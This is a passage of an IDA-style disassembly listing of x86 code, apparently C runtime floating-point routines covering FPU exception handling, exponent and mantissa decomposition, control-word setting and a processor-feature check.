; sub_417DEB:loc_417EAEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41C2F3
add esp, 0Ch
test eax, eax
jnz short loc_41BFE6
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_41C040
add esp, 18h
loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj
push [ebp+arg_0]
call sub_41C5DD
cmp dword_436608, 0
pop ecx
jnz short loc_41C024
test eax, eax
jz short loc_41C024
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_41C50A
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_41C024: ; CODE XREF: sub_41BFA8+4Ej
; sub_41BFA8+52j
push eax
call sub_41C592
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41C77D
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_41BFA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41C072
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41C072: ; CODE XREF: sub_41C040+23j
test cl, 2
jz short loc_41C085
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41C085: ; CODE XREF: sub_41C040+35j
test cl, bl
jz short loc_41C097
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_41C097: ; CODE XREF: sub_41C040+47j
test cl, 4
jz short loc_41C0AA
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_41C0AA: ; CODE XREF: sub_41C040+5Aj
test cl, 8
jz short loc_41C0BD
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_41C0BD: ; CODE XREF: sub_41C040+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41C760
test al, bl
jz short loc_41C146
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41C146: ; CODE XREF: sub_41C040+FDj
test al, 4
jz short loc_41C151
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41C151: ; CODE XREF: sub_41C040+108j
test al, 8
jz short loc_41C15C
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41C15C: ; CODE XREF: sub_41C040+113j
test al, 10h
jz short loc_41C166
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41C166: ; CODE XREF: sub_41C040+11Ej
test al, 20h
jz short loc_41C170
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41C170: ; CODE XREF: sub_41C040+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41C1AF
cmp eax, 400h
jz short loc_41C1A1
cmp eax, 800h
jz short loc_41C195
cmp eax, ecx
jnz short loc_41C1B5
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41C1B5
; ---------------------------------------------------------------------------
loc_41C195: ; CODE XREF: sub_41C040+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41C1AB
; ---------------------------------------------------------------------------
loc_41C1A1: ; CODE XREF: sub_41C040+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41C1AB: ; CODE XREF: sub_41C040+15Fj
mov [eax], ecx
jmp short loc_41C1B5
; ---------------------------------------------------------------------------
loc_41C1AF: ; CODE XREF: sub_41C040+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41C1B5: ; CODE XREF: sub_41C040+14Bj
; sub_41C040+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41C1E0
cmp eax, 200h
jz short loc_41C1D3
cmp eax, ecx
jnz short loc_41C1ED
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41C1ED
; ---------------------------------------------------------------------------
loc_41C1D3: ; CODE XREF: sub_41C040+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41C1EB
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: sub_41C040+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41C1EB: ; CODE XREF: sub_41C040+19Ej
mov [eax], ecx
loc_41C1ED: ; CODE XREF: sub_41C040+189j
; sub_41C040+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41C76E
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 2870000h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_41C267
and dword ptr [esi], 0FFFFFFFEh
loc_41C267: ; CODE XREF: sub_41C040+222j
test byte ptr [eax+8], 8
jz short loc_41C270
and dword ptr [esi], 0FFFFFFFBh
loc_41C270: ; CODE XREF: sub_41C040+22Bj
test byte ptr [eax+8], 4
jz short loc_41C279
and dword ptr [esi], 0FFFFFFF7h
loc_41C279: ; CODE XREF: sub_41C040+234j
test byte ptr [eax+8], 2
jz short loc_41C282
and dword ptr [esi], 0FFFFFFEFh
loc_41C282: ; CODE XREF: sub_41C040+23Dj
test [eax+8], bl
jz short loc_41C28A
and dword ptr [esi], 0FFFFFFDFh
loc_41C28A: ; CODE XREF: sub_41C040+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41C2BE
dec ecx
jz short loc_41C2B2
dec ecx
jz short loc_41C2A8
dec ecx
jnz short loc_41C2C0
or byte ptr [esi+1], 0Ch
jmp short loc_41C2C0
; ---------------------------------------------------------------------------
loc_41C2A8: ; CODE XREF: sub_41C040+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_41C2BA
; ---------------------------------------------------------------------------
loc_41C2B2: ; CODE XREF: sub_41C040+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_41C2BA: ; CODE XREF: sub_41C040+270j
mov [esi], ecx
jmp short loc_41C2C0
; ---------------------------------------------------------------------------
loc_41C2BE: ; CODE XREF: sub_41C040+257j
and [esi], edx
loc_41C2C0: ; CODE XREF: sub_41C040+260j
; sub_41C040+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41C2E0
dec ecx
jz short loc_41C2D7
dec ecx
jnz short loc_41C2E9
and [esi], edx
jmp short loc_41C2E9
; ---------------------------------------------------------------------------
loc_41C2D7: ; CODE XREF: sub_41C040+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_41C2E7
; ---------------------------------------------------------------------------
loc_41C2E0: ; CODE XREF: sub_41C040+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_41C2E7: ; CODE XREF: sub_41C040+29Ej
mov [esi], ecx
loc_41C2E9: ; CODE XREF: sub_41C040+291j
; sub_41C040+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41C040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41C31E
test byte ptr [ebp+arg_8], bl
jz short loc_41C31E
push ebx
call sub_41C7A0
pop ecx
and edi, 0FFFFFFF7h
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C31E: ; CODE XREF: sub_41C2F3+15j
; sub_41C2F3+1Aj
test al, 4
jz short loc_41C338
test byte ptr [ebp+arg_8], 4
jz short loc_41C338
push 4
call sub_41C7A0
pop ecx
and edi, 0FFFFFFFBh
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C338: ; CODE XREF: sub_41C2F3+2Dj
; sub_41C2F3+33j
test al, bl
jz loc_41C412
test byte ptr [ebp+arg_8], 8
jz loc_41C412
push 8
call sub_41C7A0
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_41C3EA
cmp ecx, 400h
jz short loc_41C3C2
cmp ecx, 800h
jz short loc_41C39A
cmp ecx, eax
jnz loc_41C40A
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fld dbl_435FA0
fnstsw ax
sahf
ja short loc_41C392
fchs
loc_41C392: ; CODE XREF: sub_41C2F3+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fnstsw ax
sahf
jbe short loc_41C3B2
fld dbl_435F90
jmp short loc_41C3BA
; ---------------------------------------------------------------------------
loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j
fld dbl_435FA0
fchs
loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C3C2: ; CODE XREF: sub_41C2F3+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fnstsw ax
sahf
jbe short loc_41C3DA
fld dbl_435FA0
jmp short loc_41C3E2
; ---------------------------------------------------------------------------
loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj
fld dbl_435F90
fchs
loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C3EA: ; CODE XREF: sub_41C2F3+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fld dbl_435F90
fnstsw ax
sahf
ja short loc_41C402
fchs
loc_41C402: ; CODE XREF: sub_41C2F3+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_41C408: ; CODE XREF: sub_41C2F3+A5j
; sub_41C2F3+CDj ...
fstp qword ptr [ecx]
loc_41C40A: ; CODE XREF: sub_41C2F3+81j
and edi, 0FFFFFFFEh
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C412: ; CODE XREF: sub_41C2F3+47j
; sub_41C2F3+51j
test al, 2
jz loc_41C4E8
test byte ptr [ebp+arg_8], 10h
jz loc_41C4E8
push esi
xor esi, esi
test al, 10h
jz short loc_41C42D
mov esi, ebx
loc_41C42D: ; CODE XREF: sub_41C2F3+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_424818
fnstsw ax
sahf
jz loc_41C4D6
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41C69F
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_41C478
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41C4CC
; ---------------------------------------------------------------------------
loc_41C478: ; CODE XREF: sub_41C2F3+17Aj
fld [ebp+var_C]
fcomp dbl_424818
fnstsw ax
sahf
jnb short loc_41C48A
mov edx, ebx
jmp short loc_41C48C
; ---------------------------------------------------------------------------
loc_41C48A: ; CODE XREF: sub_41C2F3+191j
xor edx, edx
loc_41C48C: ; CODE XREF: sub_41C2F3+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41C4C0
sub eax, ecx
loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41C4AE
test esi, esi
jnz short loc_41C4AE
mov esi, ebx
loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j
; sub_41C2F3+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_41C4BA
or byte ptr [ebp+var_C+3], 80h
loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41C4A3
loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj
test edx, edx
jz short loc_41C4CC
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41C4CC: ; CODE XREF: sub_41C2F3+183j
; sub_41C2F3+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_41C4D8
; ---------------------------------------------------------------------------
loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej
mov esi, ebx
loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j
test esi, esi
pop esi
jz short loc_41C4E5
push 10h
call sub_41C7A0
pop ecx
loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j
and edi, 0FFFFFFFDh
loc_41C4E8: ; CODE XREF: sub_41C2F3+26j
; sub_41C2F3+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_41C4FF
test byte ptr [ebp+arg_8], 20h
jz short loc_41C4FF
push 20h
call sub_41C7A0
pop ecx
and edi, 0FFFFFFEFh
loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j
; sub_41C2F3+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41C2F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)
sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp
; sub_41BFA8+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_41C5B8
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_41C575
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41C77D
lea eax, [ebp+var_20]
push eax
call sub_42017F
add esp, 0Ch
test eax, eax
jnz short loc_41C56F
push esi
call sub_41C592
pop ecx
loc_41C56F: ; CODE XREF: sub_41C50A+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41C575: ; CODE XREF: sub_41C50A+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41C77D
push [ebp+arg_0]
call sub_41C592
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_41C50A endp
; =============== S U B R O U T I N E =======================================
sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp
; sub_41C50A+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41C5AD
jle short locret_41C5B7
cmp eax, 3
jg short locret_41C5B7
mov dword_4CD9B4, 22h
retn
; ---------------------------------------------------------------------------
loc_41C5AD: ; CODE XREF: sub_41C592+7j
mov dword_4CD9B4, 21h
locret_41C5B7: ; CODE XREF: sub_41C592+9j
; sub_41C592+Ej
retn
sub_41C592 endp
; =============== S U B R O U T I N E =======================================
sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_435EB8
loc_41C5BF: ; CODE XREF: sub_41C5B8+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41C5D5
add eax, 8
inc ecx
cmp eax, offset dbl_435F90
jl short loc_41C5BF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj
mov eax, off_435EBC[ecx*8]
retn
sub_41C5B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_41C5E9
push 5
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5E9: ; CODE XREF: sub_41C5DD+6j
test al, 8
jz short loc_41C5F1
push 1
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej
test al, 4
jz short loc_41C5F9
push 2
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5F9: ; CODE XREF: sub_41C5DD+16j
test al, 1
jz short loc_41C601
push 3
loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj
; sub_41C5DD+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C601: ; CODE XREF: sub_41C5DD+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_41C5DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C60A(double)
sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap
; sub_417DEB:loc_417E71p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_41C60A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C61C(double,int)
sub_41C61C proc near ; CODE XREF: sub_41C69F+82p
; sub_41C69F+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_41C61C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_417CA4+31p
; sub_417DEB+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41C65C
cmp [ebp+arg_0], edx
jnz short loc_41C66E
push 1
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C65C: ; CODE XREF: sub_41C645+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41C66E
cmp [ebp+arg_0], edx
jnz short loc_41C66E
push 2
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C66E: ; CODE XREF: sub_41C645+11j
; sub_41C645+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41C681
push 3
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C681: ; CODE XREF: sub_41C645+36j
cmp cx, 7FF0h
jnz short loc_41C69B
test [ebp+arg_4], 7FFFFh
jnz short loc_41C696
cmp [ebp+arg_0], edx
jz short loc_41C69B
loc_41C696: ; CODE XREF: sub_41C645+4Aj
push 4
loc_41C698: ; CODE XREF: sub_41C645+15j
; sub_41C645+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C69B: ; CODE XREF: sub_41C645+41j
; sub_41C645+4Fj
xor eax, eax
pop ebp
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C69F(double,int)
sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_424818
push esi
fnstsw ax
sahf
jnz short loc_41C6BF
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_41C755
; ---------------------------------------------------------------------------
loc_41C6BF: ; CODE XREF: sub_41C69F+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41C72E
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_41C6D7
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41C72E
loc_41C6D7: ; CODE XREF: sub_41C69F+31j
fld [ebp+arg_0]
fcomp dbl_424818
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_41C6EF
push 1
pop eax
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6EF: ; CODE XREF: sub_41C69F+49j
xor eax, eax
loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej
; sub_41C69F+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_41C70A
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41C704
or dword ptr [ebp+arg_0+4], 1
loc_41C704: ; CODE XREF: sub_41C69F+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C70A: ; CODE XREF: sub_41C69F+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_41C718
or byte ptr [ebp+arg_0+7], 80h
loc_41C718: ; CODE XREF: sub_41C69F+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C61C
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_41C755
; ---------------------------------------------------------------------------
loc_41C72E: ; CODE XREF: sub_41C69F+28j
; sub_41C69F+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C61C
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_41C755: ; CODE XREF: sub_41C69F+1Bj
; sub_41C69F+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41C69F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C760 proc near ; CODE XREF: sub_41C040+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C76E proc near ; CODE XREF: sub_41C040+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41C76E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C77D proc near ; CODE XREF: sub_417CA4+13p
; sub_417CA4+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41C77D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp
; sub_41C2F3+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_41C7B7
fld tbyte_435FB8
fistp [ebp+arg_0]
wait
loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj
test cl, 8
jz short loc_41C7CC
fstsw ax
fld tbyte_435FB8
fstp [ebp+var_8]
wait
fstsw ax
loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj
test cl, 10h
jz short loc_41C7DB
fld tbyte_435FC4
fstp [ebp+var_8]
wait
loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj
test cl, 4
jz short loc_41C7E9
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej
test cl, 20h
jz short locret_41C7F4
fldpi
fstp [ebp+var_8]
wait
locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj
leave
retn
sub_41C7A0 endp
; =============== S U B R O U T I N E =======================================
sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp
push 30000h
push 10000h
call sub_4201B7
pop ecx
pop ecx
retn
sub_41C7F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_424828
fstp [ebp+var_8]
fld dbl_424820
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4246A8
fnstsw ax
sahf
jbe short loc_41C842
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41C842: ; CODE XREF: sub_41C808+33j
xor eax, eax
leave
retn
sub_41C808 endp
; =============== S U B R O U T I N E =======================================
sub_41C846 proc near ; CODE XREF: sub_417D73+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2720E52h
test eax, eax
jz short loc_41C86A
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26F0000h
test eax, eax
jz short loc_41C86A
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_41C86A: ; CODE XREF: sub_41C846+Dj
